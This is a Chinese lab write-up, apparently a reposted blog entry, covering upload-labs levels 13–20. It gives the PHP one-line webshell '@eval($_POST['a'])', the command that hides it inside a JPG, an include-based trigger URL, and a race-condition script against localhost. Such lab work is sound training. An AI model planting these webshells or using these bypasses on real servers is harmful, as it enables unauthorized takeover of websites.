文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

upload-labs第13关~20关详细解析

2023-09-03 08:14

关注

【第十三关】图片马

Ⅰ 源码分析

    $file = fopen($filename, "rb");    $bin = fread($file, 2); //只读2字节    fclose($file);    $strInfo = @unpack("C2chars", $bin);        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);        $fileType = '';        switch($typeCode){              case 255216:                        $fileType = 'jpg';            break;        case 13780:                        $fileType = 'png';            break;                case 7173:                        $fileType = 'gif';            break;        default:                        $fileType = 'unknown';        }            return $fileType;}

Ⅱ 绕过原理

利用装有一句话木马的jpg照片,绕过后台的文件验证
图片马原理
根据下图,图片马上传后需要一个解析图片的php程序,在这里我们用到include.php

header("Content-Type:text/html;charset=utf-8");$file = $_GET['file'];if(isset($file)){    include $file;}else{    show_source(__file__);}?>

image.png
在这里需要准备一些文件
一张jpg格式照片
php文件

 phpinfo(); @eval($_POST['a']);?>

生成图片马 ,win10环境

copy /b shell.jpg+one.php=1.png

一个自带的文件包含脚本php(upload靶场自带include.php)1

image.png

Ⅲ 绕过过程

上传文件后,查看图片地址是否可以浏览
image.png

利用include.php 解析下图片jpg,可以发现存在phpinfo
image.png

现在就是怎么用AntSword去连接图片马
构建下蚁剑playload

  http://127.0.0.1/upload-labs/include.php?file=upload/upload-20.jpg

image.png
便可以连接,查看数据
image.png

https://blog.csdn.net/qq_42311391/article/details/89477993

【第十四关】getimagesize()绕过

    $types = '.jpeg|.png|.gif';    if(file_exists($filename)){        $info = getimagesize($filename);        $ext = image_type_to_extension($info[2]);        if(stripos($types,$ext)>=0){            return $ext;        }else{            return false;        }    }else{        return false;    }}

与第十三关不同之处在哪里?
判断文件是否在白名单内的做法不同
getimagesize是获取图片的大小,如果头文件不是图片会报错
image_type_to_extension函数:取得图像类型的文件后缀

上传后的jpg会转成jpeg
image.png
连接成功
image.png

【第十五关】突破exif_imagetype()

未解决

function isImage($filename){    //需要开启php_exif模块    $image_type = exif_imagetype($filename);    switch ($image_type) {        case IMAGETYPE_GIF:            return "gif";            break;        case IMAGETYPE_JPEG:            return "jpg";            break;        case IMAGETYPE_PNG:            return "png";            break;            default:            return false;            break;    }}

为什么要开启php_exif模块?
exif_imagetype函数的作用是什么?
image.png
直接按照十四关的图片马上传,可以吗?
不行,直接被拦截了,这里会显示一片空白
image.png
开启
image.png

【第十六关】二次渲染(未成功)

 if(move_uploaded_file($tmpname,$target_path)){            //使用上传的图片生成新的图片            $im = imagecreatefromjpeg($target_path);            if($im == false){                $msg = "该文件不是jpg格式的图片!";                @unlink($target_path);            }else{                //给新图片指定文件名                srand(time());                $newfilename = strval(rand()).".jpg";                //显示二次渲染后的图片(使用用户上传图片生成的新图片)                $img_path = UPLOAD_PATH.'/'.$newfilename;                imagejpeg($im,$img_path);                @unlink($target_path);                $is_upload = true;            }        } else {            $msg = "上传出错!";        }

源码上讲了哪些东西?

这一关与前面几关不同在哪里?二次渲染具体表现在哪里?
二次渲染是这一关的最大特点,将上传的文件重新生成为新的文件,这很容易出现“图片马被打乱,重新生成一张普通的jpg文件”
image.png
上传前的图片马
image.png
上传后的图片马,一句话木马被消除了
image.png
有一种办法,在图片马文件中间添加一句话木马,但又不破坏文件
随便位置加入一句话,不行
image.png
image.pngimage.png
试了好多次,都没成功
后面了解到了,直接将php代码段插入到一个图片里,对于jpg不太显示,jpg不稳定

【第十七关】条件竞争

Burp
AntSword

源码解析
image.png
原来上传的文件早在渲染前就上传成功了,只不过渲染成功or失败后,源文件会被删除掉。
渗透准备
四个文件:一句话木马php文件+一张jgp格式照片+包含一句话木马的jpg照片shell_jpg+.py文件
一句话木马php文件

 phpinfo(); @eval($_POST['a']);?>

包含一句话木马的jpg照片shell_jpg

copy shell.php /b+ shell.jpg = 1.jpg

image.png
jpg_payload .py文件

import requestsurl1 = "http://127.0.0.1/include.php?file=./upload/1.jpg"while True:  # 定义死循环      html = requests.get(url1)

开始渗透
开启jpg_payload .py脚本

python "jpg_payload .py"

上传文件,burp抓包
image.png
image.png
在Repeater上放包,并查看下后台文件
image.png

image.png
AntSword连接jpg文件,成效
image.png

后面,我尝试直接用图片马上传,发现没有二次渲染~~ ,直接用AntSword连接图片马,成功了

【第十八~二十关】

我发现用普通的图片马+自带的文件包含,就可以实现文件上传漏洞
参考下第十三关

参考链接:http://cn-sec.com/archives/1009470.html
https://blog.csdn.net/qwe304/article/details/125725280

来源地址:https://blog.csdn.net/weixin_47126666/article/details/129007457

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯